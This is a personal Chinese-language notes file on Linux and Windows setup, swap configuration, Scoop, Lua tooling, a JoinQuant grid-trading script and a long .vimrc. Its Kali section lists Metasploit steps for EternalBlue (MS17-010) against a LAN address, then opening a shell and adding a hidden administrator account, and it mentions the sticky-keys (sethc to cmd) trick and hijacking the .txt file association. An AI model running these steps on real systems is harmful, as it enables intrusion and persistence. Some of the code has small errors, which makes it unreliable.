系统

manjaro

ubuntu

centos

同步时间

  • 设置硬件时钟 sudo hwclock --systohc

  • 同步时间 -- ntpdate -u ntp.api.bz timedatectl set-ntp yes

pacman

设置源

  1. step1 sudo pacman-mirrors -i -c China -m rank sudo pacman -Syy

  2. step2 /etc/pacman.conf: [archlinuxcn] SigLevel = Optional TrustedOnly Server = https://mirrors.ustc.edu.cn/archlinuxcn/$arch

导入GPG key

sudo pacman -Syy && sudo pacman -S archlinuxcn-keyring

key 签名问题解决办法

sudo pacman-key --init sudo pacman-key --populate

x32 mirrorlist

http://mirrors.zju.edu.cn/manjaro/x32-unstable/state

更新系统

sudo pacman -Syyu

  1. 输入法 sudo pacman -S fcitx-im sudo pacman -S fcitx-configtool sudo pacman -S fcitx-sogoupinyin

  2. 配置sudo vim ~/.xprofile export GTK_IM_MODULE=fcitx export QT_IM_MODULE=fcitx export XMODIFIERS="@im=fcitx"

必备

  1. screenfetch sudo pacman -S screenfetch

  2. screenkey sudo pacman -S screenkey

  3. yaourt sudo pacman -S yaourt

  4. sougou sudo pacman -S fcitx-sogoupinyin

  5. wechat sudo pacman -S electronic-wechat(not support now)

  6. neteasy music yaourt musicbox help: https://github.com/darknessomi/musicbox

  7. chromium 中文乱码 sudo pacman -S wqy-microhei

  8. 安装vmware https://www.jianshu.com/p/de571b44ab60

  9. vmware download:https://www.vmware.com/products/workstation-pro/workstation-pro-evaluation.html

常用软件

  • 声音控制 terminal中运行命令:alsamixer
  • 截图:flameshot

install

sudo pacman -S p7zip

解压

7z x filename

install 截屏工具

sudo pacman -S scrot

首先确认是否添加过swap分区

为了防止出现任何以外,请先看一下内存中是否已经有swap:

free -m

一般情况下运行命令后会出现如下的内容:

total              used       free     shared    buffers     cached
Mem:               1840       1614     226       15          36       1340
-/+ buffers/cache:            238      1602
Swap:              0          0        0

如果你看到 Swap 分区中是0的话,那么就可以接着看第二步

如果不是的话说明你已经有了swap分区,你可以通过下面的命令查看swap文件:

swapon -s

第二步,创建Swap分区

使用dd来创建一个空的swap文件(2G为例):

dd if=/dev/zero of=/swapfile count=2048 bs=1M

其中 dd 命令的内容可以按自己的需求修改:

if =输入文件(或设备名称)。
of =输出文件(或设备名称)。
ibs = bytes 一次读取bytes字节,即读入缓冲区的字节数。
skip = blocks 跳过读入缓冲区开头的ibs*blocks块。
obs = bytes 一次写入bytes字节,即写入缓冲区的字节数。
bs = bytes 同时设置读/写缓冲区的字节数(等于设置ibs和obs)。
cbs = byte 一次转换bytes字节。
count=blocks 只拷贝输入的blocks块。

然后你应该会看到如下的反馈:

2048+0 records in 2048+0 records out 2147483648 bytes (2.1 GB) copied, 10.5356 s, 204 MB/s 然后我们来验证一下是否已经生成完成:

ls / | grep swapfile 如果正常生成的话你可以看到 swapfile 文件

第三步,激活Swap分区

Swap分区需要读写的权限,所以运行命令授权:

chmod 600 /swapfile 查看授权是否成功:

ls -lh /swapfile 如果成功的话你可以看到如下反馈:

-rw------- 1 root root 2.0G Oct 2 18:47 /swapfile 然后挂载Swap分区:

mkswap /swapfile 你应该能看到如下的反馈:

Setting up swapspace version 1, size = 2097148 KiB no label, UUID=ff3fc469-9c4b-4913-b653-ec53d6460d0e

Step 4: Turn swap on 完成之前的步骤之后你的swap分区已经可以使用了,我先只要打开它就好:

swapon /swapfile 这时候你可以用 free 命令再次查看Swap分区是否已经开始运行

free -m
total       used       free     shared    buffers     cached
Mem:          1840       1754         86         16         23       1519
-/+ buffers/cache:        210       1630
Swap:         2047          0       2047

如果 Swap 空间不是 0 就说明你成功了

第五步,开机启动设置

一般而言Swap是没有开机启动的,所以你需要编辑/etc/fstab 文件,我一般用 nano,你也可以用vi或者vim达到同样的效果

vim /etc/fstab

在末尾加上如下内容:

/swapfile   none    swap    sw    0   0

保存之后我们就完成了Swap的全套设置

修改swappiness

  • 查看swappiness
cat /proc/sys/vm/swappiness
  • 修改swappiness
sudo sysctl vm.swappiness=10
sudo vim /etc/sysctl.conf
在这个文档的最后加上这样一行:
vm.swappiness=10

ubuntu

修改镜像源

kali

ssh 配置

/etc/init.d/ssh status
  • 修改配置文件
vim /etc/ssh/sshd_config

PermitRootLogin yes
PasswordAuthntication yes
  • 启动ssh服务
/etc/init.d/ssh start
  • 修改源
sudo vi /etc/apt/sources.list
#中科大
deb http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib  
deb-src http://mirrors.ustc.edu.cn/kali kali-rolling main non-free contrib 
#软件源清单更新
sudo apt-get dist-upgrade
#软件版本更新
sudo apt-get update
sudo apt-get upgrade
  • 密钥失败
The following signatures were invalid: EXPKEYSIG ED444FF07D8D0BF6 Kali Linux

wget -q -O - https://archive.kali.org/archive-key.asc  |apt-key add
#不成功的话改http请求试试
wget -q -O - http://archive.kali.org/archive-key.asc  |apt-key add

kali

  1. url: https://www.offensive-security.com/kali-linux-vm-vmware-virtualbox-image-download/
  2. virtual images

kali version

kali 2018.2

  1. user:root pwd:toor

kali-2020.1

  1. 虚拟机版本 user:kali pwd:kali
  2. 修改默认root密码:sudo passwd root
  3. vmware 需要修改:设置--->选项--->版本:其他linux

msconsole

更新

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall && \
 chmod 755 msfinstall && \
./msfinstall

漏洞验证

17_010

  1. msfconsole
  2. search 17_010
  3. use windows/smb/ms17_010_eternalblue
  4. show options
  5. set RHOSTS 192.168.2.159
  6. run/exploit
  7. shell
  8. net user test test /add
  9. net localgroup administrators test /add

cve-2020-0796

  1. msfconsole
    • search 20_0796
  2. https://my.oschina.net/u/4302130/blog/3224951/

windows乱码问题

  1. cmd:chcp 65001

dirbuster

  1. 作用:扫描网站目录
  2. 字典资源: https://github.com/rootphantomer/Blasting_dictionary

快速打开哥哥服务,win + R

  1. services.msc 打开服务
  2. firewall.cpl
  3. control 打开控制面板
  4. taskmgr 打开任务管理器
  5. chrome
  6. gpedit.msc 打开本地组策略
  7. eventvwr.msc 打开事件查看器

windows工具

scoop 包管理工具

  • 安装
  1. iex (new-object net.webclient).downloadstring('https://get.scoop.sh')
  2. Set-ExecutionPolicy RemoteSigned -scope CurrentUser
  3. 安装域名解析问题,修改host:151.101.76.133 raw.githubusercontent.com
    • help:https://www.cnblogs.com/sinferwu/p/12726833.html
  • 添加额外包仓库
  1. scoop bucket add extras https://github.com/lukesampson/scoop-extras.git
  • 安装常用工具:sudo ag git curl 7zip concfg aria2

  • 使用

  1. scoop install concfg
  2. scoop update
  3. scoop list
  4. scoop -h
  5. scoop search
  • wiki:https://github.com/lukesampson/scoop/wiki

  • help:https://www.jianshu.com/p/f412b95c19b8

  • help:https://www.jianshu.com/p/b09fe256be0f

  • aria2

aria2 在 Scoop 中默认开启

scoop config aria2-enabled true

关于以下参数的作用,详见aria2的相关资料

scoop config aria2-retry-wait 4 scoop config aria2-split 16 scoop config aria2-max-connection-per-server 16 scoop config aria2-min-split-size 4M

vmware

  1. windows7 创建虚拟机时左边列表不显示怎么办? 关闭防火墙

net命令

  • net time \ip 查看系统时间 eg: net time 127.0.0.1
  • net share 查看共享
  • net user 查看用户
  • net user abc 123 /add 新建用户:新建用户abc密码123
  • net user abc 123 修改用户密码:修改用户abc的密码为123
  • net user abc /del 删除用户:删除用户abc
  • net localgroup administrators 查看管理员组成员
  • net localgroup administrators abc /add 把abc 加入管理员组
  • net use f: \192.168.2.11\share 123456 /user:administrator 将其他电脑的share目录映射到本机的f盘
  • net use f: /del
  • net use * /del

常用命令 cd,dir,mkdir,del,echo,attrib,md,cls

  • cls 清屏

  • del ****.txt

  • echo hello >> test.txt

  • md a 创建a目录

  • type 类似于tail type a.txt | more

  • copy con 文件名:拷贝屏幕内容到文件里面, C-z enter结束

  • attrib +h test.txt:给文件test.txt添加隐藏属性

  • attrib -h test.txt:给文件test.txt取消隐藏属性

  • fsutil file createnew d:\system.ini 10

  • assoc .txt=exefile 修改文件关联

  • assoc .txt=txtfile

  • assoc .txt 查看.txt文件关联

  • ren 重命名文件或文件夹

dhcp服务器

  • ipconfig release/renew/all 释放ip/续约/查看信息

dns服务器

  • ipconfig /flushdns
  • nslookup

win+r

  • control 进入控制面板
  • gpedit.msc 进入组策略配置
  • services.msc 进入服务

win7

  • 强制关机--->修复
  • sethc ---> cmd
  • shift+5

icacls

  • icacls D:\tools\cygwin\ /T /grant Administrator:F
    1. 将cygwin文件夹以及其子文件夹里修改为Administrator所有
    2. 赋予完全控制权限
    3. 适用于文件权限不对无法删除或修改文件的情况

控制台乱码

  • chcp 65001

查看连接用户

  • query user 使用远程桌面管理命令query, query命令可以显示远程连接到服务器的会话、 运行的进程以及远程登录的用户,

查看磁盘

  1. diskpart
    • list disk

补丁下载地址

  1. http://www.catalog.update.microsoft.com/Search.aspx?q=KB4535102

proxy

正向代理、反向代理有什么区别?

  • 简单地说,正向代理代理的是用户,反向代理代理的是服务器。

expression

lua

官方网站

  • lua5.4官方手册
http://www.lua.org/manual/5.4/contents.html
  • lua5.4的新特性
http://www.lua.org/manual/5.4/readme.html#changes
https://zhuanlan.zhihu.com/p/137588708
  • 官方下载地址:
http://www.lua.org/ftp/lua-5.4.3.tar.gz

工具

  • luarocks安装
  yum install luarocks
  • luacheck安装
  luarocks install luacheck

python

python3 install pip3

wget --no-check-certificate https://pypi.python.org/packages/source/p/pip/pip-8.0.2.tar.gz#md5=3a73c4188f8dbad6a1e6f6d44d117eeb tar -zxvf pip-8.0.2.tar.gz cd pip-8.0.2 python3 setup.py build python3 setup.py install

joinquant

doc

video

本地环境搭建

网格交易

基本概念

#总持仓数量
g.amount = context.portfolio.positions[security].total_amount

#起始资金
g.cash =context.portfolio.starting_cash


#基准价格
bottom_price = g.price

#持仓平均成本
g.cost = context.portfolio.positions[security].avg_cost

#可使用的现金
cash = context.portfolio.available_cash

#获取当前价格
current_price = get_current_tick(security, dt=None, df=False).current

#总持仓数量
amount = g.amount

#目前持仓金额
current_value = current_price*amount

#资金分成20份
unit_value = g.cash/20

#如果持仓下跌10%止损
if g.cost >0 and (g.cost-current_price)/g.cost >=0.10:
    order_target(security, 0)
    return

常用API

  • initialize 初始化函数
def initialize(context):
    # g为全局变量
    g.security = "000001.XSHE"
  • run_daily/run_weekly/run_monthly 定时运行策略(可选)
def initialize(context):
    ## func是您自己定义的函数
    # 按月运行
    run_monthly(func, monthday, time='9:30', reference_security, force=False)
    # 按周运行
    run_weekly(func, weekday, time='9:30', reference_security, force=False)
    # 每天内何时运行(没有force属性)
    run_daily(func, time='9:30', reference_security)
  • before_trading_start 开盘前运行策略(可选)
  • after_trading_end 收盘后运行策略(可选)
  • on_strategy_end 策略运行结束时调用(可选)
  • on_event 事件回调(可选)
  • handle_data 运行策略(可选)
# 该函数每个单位时间会调用一次, 如果按天回测,则每天调用一次,如果按分钟,则每分钟调用一次。
def handle_data(context, data):
    order("000001.XSHE",100)

demo

import numpy as np
import pandas as pd
from pandas import Series
from jqdata import *
import time

def initialize(context):
    # 设定沪深300作为基准(同股票为基准)
    set_benchmark('000300.XSHG')
    #set_benchmark('300145.XSHE')
    # 开启动态复权模式(真实价格)
    set_option('use_real_price', True)
    # 输出内容到日志 log.info()
    log.info('初始函数开始运行且全局只运行一次')
    # 过滤掉order系列API产生的比error级别低的log
    # log.set_level('order', 'error')

    ### 股票相关设定 ###
    # 股票类每笔交易时的手续费是:买入时佣金万分之三,卖出时佣金万分之三加千分之一印花税, 每笔交易佣金最低扣5块钱
    set_order_cost(OrderCost(close_tax=0.001, open_commission=0.0003, close_commission=0.0003, min_commission=5), type='stock')
    ## 运行函数(reference_security为运行时间的参考标的;传入的标的只做种类区分,因此传入'000300.XSHG'或'510300.XSHG'是一样的)
    # 开盘前运行
    run_daily(before_market_open, time='before_open', reference_security='000300.XSHG')
    # 开盘时运行
    run_daily(market_open, time='every_bar', reference_security='000300.XSHG')
    # 收盘后运行
    run_daily(after_market_close, time='after_close', reference_security='000300.XSHG')
    #初始化,第一次交易的标志
    g.first = 0
  • before_market_open
def before_market_open(context):
    # 输出运行时间
    log.info('函数运行时间(before_market_open):'+str(context.current_dt.time()))

    # 要操作的股票:(g.为全局变量)
    g.security = '002918.XSHE.'
    g.initial = '2015-01-05'
    #每天交易一次的标志
    g.count = 0
  • setup_position
def setup_position(context,security,bench,status):
    #基准价格
    bottom_price = g.price

    if bottom_price == 0:
        return

    #持仓平均成本
    g.cost = context.portfolio.positions[security].avg_cost
    print("g.cost%s"%g.cost)
    #可使用的现金
    cash = context.portfolio.available_cash

    print("cash:%s"%cash,"g_price:%s"%g.price)
    #获取当前价格
    current_price = get_current_tick(security, dt=None, df=False).current
    #总持仓数量
    amount = g.amount
    #目前持仓金额
    current_value = current_price*amount
    #资金分成20份
    unit_value = g.cash/20
    #如果持仓下跌10%止损
    if g.cost >0 and (g.cost-current_price)/g.cost >=0.06:
        order_target(security, 0)
        return

    print("unit_value:%s" % unit_value)
    #计算目前价格差
    returns = (current_price-bottom_price)/bottom_price

    #打印需要的数据
    if g.count == 0:
        print("b_P:%s"%bottom_price)
        print("c_p:%s"%current_price,"current_value:%s"%current_value,"amount:%s"%amount)
        print(".........")

    g.count = 0
    #print(type(returns),type(bottom_price))

    #卖出
    if (status == 'short') and (g.count == 0):
        # 价格差大于5%
        if returns > bench and current_value > 6*unit_value:
            order_target_value(security,6*unit_value)
        # 价格差大于10%
        if returns > 2*bench and current_value > 3*unit_value:
            order_target_value(security,3*unit_value)
        # 价格差大于15%
        if returns > 3*bench and current_value >1*unit_value :
            order_target_value(security,1*unit_value)
        # 价格差大于20%
        if returns > 4*bench and current_value >0:
            order_target_value(security,0)
        #结束本日交易标志
        g.count=1

        if g.count==0:
            print("returns:%s"%returns,bench,amount,status)
            print("@@@@@@@@@@@@@@@@@@@@@@@@@@@@@")

    # 买入
    if (status == 'long') and (cash >0) and (g.count ==0):

        # 价格差小于-4%,仓位小于20%
        if returns < bench and current_value < 4*unit_value:
            order_target_value(security,4*unit_value)
        # 价格差小于-8%,仓位小于35%
        if returns < 2* bench and current_value < 7*unit_value:
            order_target_value(security,7*unit_value)
        # 价格差小于-12%,仓位小于45%
        if returns < 3* bench and current_value <9*unit_value :
            order_target_value(security,9*unit_value)
        # 价格差小于-16%,仓位小于50%
        if returns < 4* bench and current_value < 10*unit_value:
            order_target_value(security,10*unit_value)
                g.count = 1

        if g.count==0:
            print("returns:%s"%returns,bench,amount,status)
            print("$$$$$$$$$$$$$$$$$$$$$$$$$$$$$")
        print("____________________________________")

    return True
  • market_open
def market_open(context):
    log.info('函数运行时间(market_open):'+str(context.current_dt.time()))
    security = g.security
    #第一次交易数量
    g.num = 1100
    #总持仓数量
    g.amount = context.portfolio.positions[security].total_amount
    #起始资金
    g.cash =context.portfolio.starting_cash

    #第一次买入
    if g.first ==0 :
        g.orders=order(security,g.num-100)
        g.price = g.orders.price
        g.first = 1
        print("g.price:%s"%g.price)

    #全部卖出后,突破5日均线后买入
    if g.amount == 0:
        close_data = attribute_history(security, 5, '1d', ['close'])
        # 取得过去五天的平均价格
        MA5 = close_data['close'].mean()
        # 取得上一时间点价格
        now_price = close_data['close'][-1]

        # 如果上一时间点价格高出五天平均价5%, 则全仓买入
        if now_price > 1.05*MA5 :
            # 用所有 cash 买入股票
            g.orders=order(security, g.num)
            g.price = g.orders.price
            # 记录这次买入
            log.info("Buying %s" % (security))

    #网格运算
    y=setup_position(context,security,0.05,'short')
    x=setup_position(context,security,-0.04,'long')
    #空仓步长:5%,10%,15%,20%

    #print("x=%s" %(x))
    #print("y=%s" %(y))

  • after_market_close
def after_market_close(context):
    log.info(str('函数运行时间(after_market_close):'+str(context.current_dt.time())))
    #得到当天所有成交记录
    trades = get_trades()
    for _trade in trades.values():
        log.info('成交记录:'+str(_trade))
        log.info('一天结束')
        log.info('##############################################################')

我的常用配置

.vimrc

"set term=screen

set ruler
set laststatus=2                " make the last line where the status is two lines deep so you can see status always
set backspace=indent,eol,start  " make that backspace key work the way it should
set nocompatible                " vi compatible is LAME
set showmode                    " show the current mode
syntax on                       " turn syntax highlighting on by default

"set fdm=indent
"
""行号{
set nu!
"set relativenumber
"}
"

"set guifont=h12
set hls
"set background=dark
set t_Co=256
"设置配色方案{
left g:molokai_original = 1
let g:rehash256 = 1
"desert
"colorscheme solarized molokai github lucius desert
"}
" markdown theme
"let g:detorte_theme_mode = 'dark'

"tab{
set tabstop=2
set expandtab
""}

filetype off

call plug#begin('~/.vim/plugged')
Plug 'git://github.com/tomasr/molokai.git'
"Plug 'scrooloose/nerdtree', { 'on':  'NERDTreeToggle' }
"Plug 'preservim/nerdtree' |
"        \ Plug 'xuyuanp/nerdtree-git-plugin'
 Plug 'preservim/nerdtree' |
         \ Plug 'xuyuanp/nerdtree-git-plugin' |
         \ Plug 'ryanoasis/vim-devicons'
Plug 'tiagofumo/vim-nerdtree-syntax-highlight'
Plug 'vim-airline/vim-airline'
Plug 'vim-airline/vim-airline-themes'
Plug 'michaelHL/awesome-vim-colorschemes'
Plug 'majutsushi/tagbar'
Plug 'godlygeek/tabular'
Plug 'ctrlpvim/ctrlp.vim'
"Plug 'ack.vim'

"Plug 'vim-scripts/luainspect.vim'
"Plug 'xolox/vim-misc'
"Plug 'xolox/vim-lua-ftplugin'

Plug 'Shougo/neocomplcache'
Plug 'nathanaelkane/vim-indent-guides'
Plug 'Yggdroot/indentLine'
Plug 'airblade/vim-gitgutter'
Plug 'gregsexton/gitv'
Plug 'tpope/vim-fugitive'
Plug 'git://github.com/rking/ag.vim.git'

" Multiple Plug commands can be written in a single line using | separators
"Plug 'SirVer/ultisnips' | Plug 'honza/vim-snippets'
Plug 'tpope/vim-surround'
Plug 'scrooloose/syntastic'
Plug 'Chiel92/vim-autoformat'
Plug 'tpope/vim-commentary'

Plug 'junegunn/fzf', { 'dir': '~/.fzf', 'do': './install --all' }
"Plug '/usr/bin/fzf'
Plug 'junegunn/fzf.vim'
Plug 'Yggdroot/LeaderF', { 'do': './install.sh' }
Plug 'mg979/vim-visual-multi'
"Plug 'voldikss/vim-browser-search'
Plug 'kien/rainbow_parentheses.vim'
Plug 'uarun/vim-protobuf'
Plug 'tpope/vim-abolish'
Plug 'fatih/vim-go'
"Plug 'w0rp/ale'

"Plug 'tamlok/detorte'
"Plug 'tamlok/vim-markdown'
"Plug 'iamcco/mathjax-support-for-mkdp'
"Plug 'iamcco/markdown-preview.vim'
"Plug 'iamcco/markdown-preview.nvim', { 'do': { -> mkdp#util#install() }, 'for': ['markdown', 'vim-plug']}
"Plug 'iamcco/markdown-preview.nvim', { 'do': 'cd app && yarn install'  }
"Plug 'neoclide/coc.nvim', {'branch': 'release'}

" Initialize plugin system
call plug#end()


colorscheme molokai "neon evening molokai solarized molokai github lucius

filetype plugin indent on     " required

"set runtimepath^=~/.vim/bundle/ag
set runtimepath^=~/.vim/plugged/ag

"path{
set path=./,../,
"set path=./,/usr/include,,..,../lualib,
"}
" vim-indent-guides {
"let g:indent_guides_enable_on_vim_startup = 1 "添加行,vim启动时启用
"let g:indent_guides_start_level = 1           "添加行,开始显示对齐线的缩进级别
"let g:indent_guides_guide_size = 1            "添加行,对齐线的宽度,(1字符)
"let g:indent_guides_tab_guides = 0            "添加行,对tab对齐的禁用
"}
"
"indentLine{
"let g:indentLine_char='|'
let g:indentLine_char='|'
let g:indentLine_enabled = 1
"}

"let g:mkdp_path_to_chrome = "firefox"
"let g:mkdp_path_to_chrome = "google-chrome"
"let g:mkdp_browserfunc = 'MKDP_browserfunc_default'
"let g:mkdp_auto_open = 1

" set to 1, nvim will open the preview window after entering the markdown buffer
 " default: 0
let g:mkdp_auto_start = 0

" set to 1, the nvim will auto close current preview window when change
" from markdown buffer to another buffer
" default: 1
let g:mkdp_auto_close = 0

" set to 1, the vim will refresh markdown when save the buffer or
" leave from insert mode, default 0 is auto refresh markdown as you edit or
" move the cursor
" default: 0
let g:mkdp_refresh_slow = 0

" set to 1, the MarkdownPreview command can be use for all files,
" by default it can be use in markdown file
" default: 0
let g:mkdp_command_for_global = 0

" set to 1, preview server available to others in your network
" by default, the server listens on localhost (127.0.0.1)
" default: 0
let g:mkdp_open_to_the_world = 0

" use custom IP to open preview page
" useful when you work in remote vim and preview on local browser
" more detail see: https://github.com/iamcco/markdown-preview.nvim/pull/9
" default empty
let g:mkdp_open_ip = ''

" specify browser to open preview page
" default: ''
let g:mkdp_browser = 'firefox'

" set to 1, echo preview page url in command line when open preview page
" default is 0
let g:mkdp_echo_preview_url = 1

" a custom vim function name to open preview page
" this function will receive url as param
" default is empty
let g:mkdp_browserfunc = ''
":MarkdownPreview
":MarkdownPreviewStop

" options for markdown render
" mkit: markdown-it options for render
" katex: katex options for math
" uml: markdown-it-plantuml options
" maid: mermaid options
" disable_sync_scroll: if disable sync scroll, default 0
" sync_scroll_type: 'middle', 'top' or 'relative', default value is 'middle'
"   middle: mean the cursor position alway show at the middle of the preview page
"  top: mean the vim top viewport alway show at the top of the preview page
"  relative: mean the cursor position alway show at the relative positon of the preview page
" hide_yaml_meta: if hide yaml metadata, default is 1
" sequence_diagrams: js-sequence-diagrams options
" content_editable: if enable content editable for preview page, default: v:false
" disable_filename: if disable filename header for preview page, default: 0
let g:mkdp_preview_options = {
            \ 'mkit': {},
            \ 'katex': {},
            \ 'uml': {},
            \ 'maid': {},
            \ 'disable_sync_scroll': 0,
            \ 'sync_scroll_type': 'middle',
            \ 'hide_yaml_meta': 1,
            \ 'sequence_diagrams': {},
            \ 'flowchart_diagrams': {},
            \ 'content_editable': v:false,
            \ 'disable_filename': 0
            \ }

" use a custom markdown style must be absolute path
" like '/Users/username/markdown.css' or expand('~/markdown.css')
let g:mkdp_markdown_css = ''

" use a custom highlight style must absolute path
" like '/Users/username/highlight.css' or expand('~/highlight.css')
let g:mkdp_highlight_css = ''

" use a custom port to start server or random for empty
let g:mkdp_port = ''

" preview page title
" ${name} will be replace with the file name
let g:mkdp_page_title = '「${name}」'

" recognized filetypes
" these filetypes will have MarkdownPreview... commands
let g:mkdp_filetypes = ['markdown']

"ctrlp{
let g:ctrlp_cmd = 'CtrlP'
let g:ctrlp_map = '<c-p>'
set wildignore+=*.o,*.exe,*.git,*.pdb,*.bak,*.so,*.a
let g:ctrlp_by_filename = 1 " only lookup file name
let g:ctrlp_max_height = 15
let g:ctrlp_clear_cache_on_exit = 0
let g:ctrlp_cache_dir = $HOME.'/.ctrlp/cache/'
let g:ctrlp_working_path_mode = 'rw'

let g:ctrlp_custom_ignore = {
    \ 'dir':  '\v[\/]\.(git|hg|svn)$',
    \ 'file': '\v\.(exe|so|dll|bak|gds|lib|suo|exp)$',
    \ 'link': 'SOME_BAD_SYMBOLIC_LINKS',
    \ }
"}


"调用ag进行搜索提升速度,同时不使用缓存文件
if executable('ag')
  set grepprg=ag\ --nogroup\ --nocolor
  let g:ctrlp_user_command = 'ag %s -l --nocolor -g ""'
  let g:ctrlp_use_caching = 0
endif


"ctags{
set tags=tags;
"set autochdir
nnoremap <silent> <F12> :A<CR>
":set grepprg=grep\ -nri 
""""""""""""""""""""""""""""""
" Tag list (ctags)
" """"""""""""""""""""""""""""""
let Tlist_Ctags_Cmd = '/usr/bin/ctags'

"Tagbar
let g:tagbar_ctags_bin = '/usr/bin/ctags'
let Tlist_Show_One_File = 1
"不同时显示多个文件的tag,只显示当前文件的
"let Tlist_Exit_OnlyWindow = 1
"如果taglist窗口是最后一个窗口,则退出vim
let Tlist_Use_Right_Window = 1         "在右侧窗口中显示taglist窗口
let Tlist_File_Fold_Auto_Close=1
"让不被编辑的文件的方法列表自动折叠起来
let Tlist_Show_Menu=1                  "显示taglist菜单
let Tlist_Auto_Open=0                  "启动vim自动启动TagList

let g:NERDTreeWinSize = 25
let g:tagbar_width = 25
let g:tagbar_type_lua = {
  \ 'ctagstype' : 'lua',
  \ 'kinds' : [
    \ 'm:modules:0:0',
    \ 'f:functions:0:1',
    \ 'v:locals:0:0'
  \ ],
  \ 'sort' : 0
\ }


let g:lua_inspect_events = ''

let mapleader=" "

" tips plug
"let g:pmenu_scheme = 'dark'
"let g:pmenu_scheme = 'macos'
"map <Tab>   <Plug>EasyCompTabTrigger
"imap <S-Tab> <Plug>EasyCompShiftTabTrigger
" easycompelte end============

" neocomplcache
let g:neocomplcache_enable_at_startup = 1
let g:neocomplcache_enable_auto_select = 1
"let g:neocomplcache_enable_quick_match = 1

let g:ag_prg='ag --column'
let g:ag_working_path_mode='r'

"git gutter
nmap ]c <Plug>GitGutterNextHunk
nmap [c <Plug>GitGutterPrevHunk

" syntastic
set statusline+=%#warningmsg#
set statusline+=%{SyntasticStatuslineFlag()}
set statusline+=%*

let g:syntastic_always_populate_loc_list = 1
let g:syntastic_auto_loc_list = 1
let g:syntastic_check_on_open = 1
let g:syntastic_check_on_wq = 0

"设置error和warning的标志
let g:syntastic_enable_signs = 1
let g:syntastic_error_symbol='✗'
let g:syntastic_warning_symbol='►'

"no-unused-args 忽略不使用的参数
"no-redefined 忽略重定义
"no-max-line-length 忽略每行最长的检测
"ignore 542 551 忽略if条件的body为空(如...elseif ret == nil then end,then和end中间没有语句);忽略空语句(如;),如果用了;则成对出现该语法检测warning
"有语法错误的一行左侧栏会有S&gt;标识,光标移动到改行,vim下发会给出提示。修改正确后保存,则该'S&gt;'会消失。
"let g:syntastic_lua_checkers = ["luac", "luacheck"]
let g:syntastic_lua_checkers = ["/use/bin/luac5.4.3", "luacheck"]
"let g:syntastic_lua_luacheck_args =
""--codes --no-max-comment-line-length --ignore 542 551"
let g:syntastic_lua_luacheck_args = "--codes"
"go checker
let g:syntastic_go_checkers = ["govet", "errcheck","go"]

"c
"let g:syntastic_c_compiler =['gcc', 'clang', 'make']
"let g:syntastic_c_compiler_options ='-Wpedantic -g'
let g:syntastic_c_compiler_options ='-std=gnu99'
let g:syntastic_c_include_dirs=['/usr/include/']
let g:syntastic_c_config_file='.syntastic_c_config_file'

"cpp
let g:syntastic_cpp_include_dirs = ['/usr/include/']
let g:syntastic_cpp_remove_include_errors = 1
let g:syntastic_cpp_check_header = 1
let g:syntastic_cpp_compiler = 'clang++'
let g:syntastic_cpp_compiler_options = '-std=c++11 -stdlib=libstdc++'
" syntastic end

" autoformat 操作符2边加空格
let g:formatdef_allman = '"astyle --style=allman --pad-oper"'
let g:autoformat_autoindent = 0
let g:autoformat_retab = 0
let g:autoformat_remove_trailing_spaces = 0

"map <C-F12> :!ctags -R --c++-kinds=+p --fields=+iaS --extra=+q.<CR>
map <C-F12> :!ctags -R --fields=+iaS --extra=+q.<CR>
"Press space twice to jump to the next '<++>' and edit it
map <LEADER><LEADER> <Esc>/<++><CR>:nohlsearch<CR>c4l

set tabstop=4
set softtabstop=4
set shiftwidth=4
set noexpandtab
set expandtab
set autoindent
set cindent
set cc=80
set list
set listchars=tab:>-,trail:-

set nocompatible
set noswapfile
set nobackup
set nowritebackup
set noundofile
set fileencodings=ucs-bom,utf-8,cp936,gb18030,big5,euc-jp,euc-kr,latin1
" before vim 8.1 modellines bug
set modelines=0
set nomodeline
"inoremap :setl pastegi+:setl nopastegi
"
inoremap jk <ESC>

" fzf_begin{
map <leader>f :Rg<CR>
map <leader>p :Files<CR>
map <leader>b :Buffers<CR>
" Empty value to disable preview window altogether
" let g:fzf_preview_window = ''
"
" Always enable preview window on the right with 60% width
let g:fzf_preview_window = 'right:60%'
command! -bang -nargs=* Ag
  \ call fzf#vim#ag(<q-args>,
  \                 <bang>0 ? fzf#vim#with_preview('up:60%')
  \                         : fzf#vim#with_preview('right:50%:hidden', '?'),
  \                 <bang>0)
let g:fzf_layout = {'down':'40%'}
map <leader>a :Ag<CR>
nnoremap <silent> <Leader>A :Ag<CR>
" fzf_end}

"{ Leaderf_begin
"let g:Lf_ShortcutF = '<C-P>'
let g:Lf_ShortcutF = '<C-F>'
map <leader>F :Leaderf! rg<CR>
"{ Leaderf_end

"{ rainbow_begin
let g:rbpt_colorpairs = [
    \ ['brown',       'RoyalBlue3'],
    \ ['Darkblue',    'SeaGreen3'],
    \ ['darkgray',    'DarkOrchid3'],
    \ ['darkgreen',   'firebrick3'],
    \ ['darkcyan',    'RoyalBlue3'],
    \ ['darkred',     'SeaGreen3'],
    \ ['darkmagenta', 'DarkOrchid3'],
    \ ['brown',       'firebrick3'],
    \ ['gray',        'RoyalBlue3'],
    \ ['darkmagenta', 'DarkOrchid3'],
    \ ['Darkblue',    'firebrick3'],
    \ ['darkgreen',   'RoyalBlue3'],
    \ ['darkcyan',    'SeaGreen3'],
    \ ['darkred',     'DarkOrchid3'],
    \ ['red',         'firebrick3'],
    \ ]

let g:rbpt_max = 16
let g:rbpt_loadcmd_toggle = 0
au VimEnter * RainbowParenthesesToggle
au Syntax * RainbowParenthesesLoadRound
au Syntax * RainbowParenthesesLoadSquare
au Syntax * RainbowParenthesesLoadBraces
"{ rainbow_end

"ale begin
"https://github.com/tvatter/ale#faq-quickfix
" Write this in your vimrc file
"let g:ale_set_loclist = 0
"let g:ale_set_quickfix = 1
"
"let g:ale_open_list = 1
" Set this if you want to.
" " This can be useful if you are combining ALE with
" " some other plugin which sets quickfix errors, etc.
"let g:ale_keep_list_window_open = 1
"nmap <silent> <C-k> <Plug>(ale_previous_wrap)
"nmap <silent> <C-j> <Plug>(ale_next_wrap)
"ale end

" 关闭json隐藏引号
let g:vim_json_conceal = 0

"path指定查找的路径,详情help path
" includeexpr是尝试替换路径名中的.为/,详情help includeexpr
set includeexpr=substitute(v:fname,'\\.','/','g')
" suffixesadd为尝试路径后缀,详情help suffixesadd
set suffixesadd=.lua
set suffixesadd+=.proto
if filereadable("./.workspace.vim")
    source ./.workspace.vim
endif

"""""""""""""""""""""""""""""""
"NerdTree setting
""""""""""""""""""
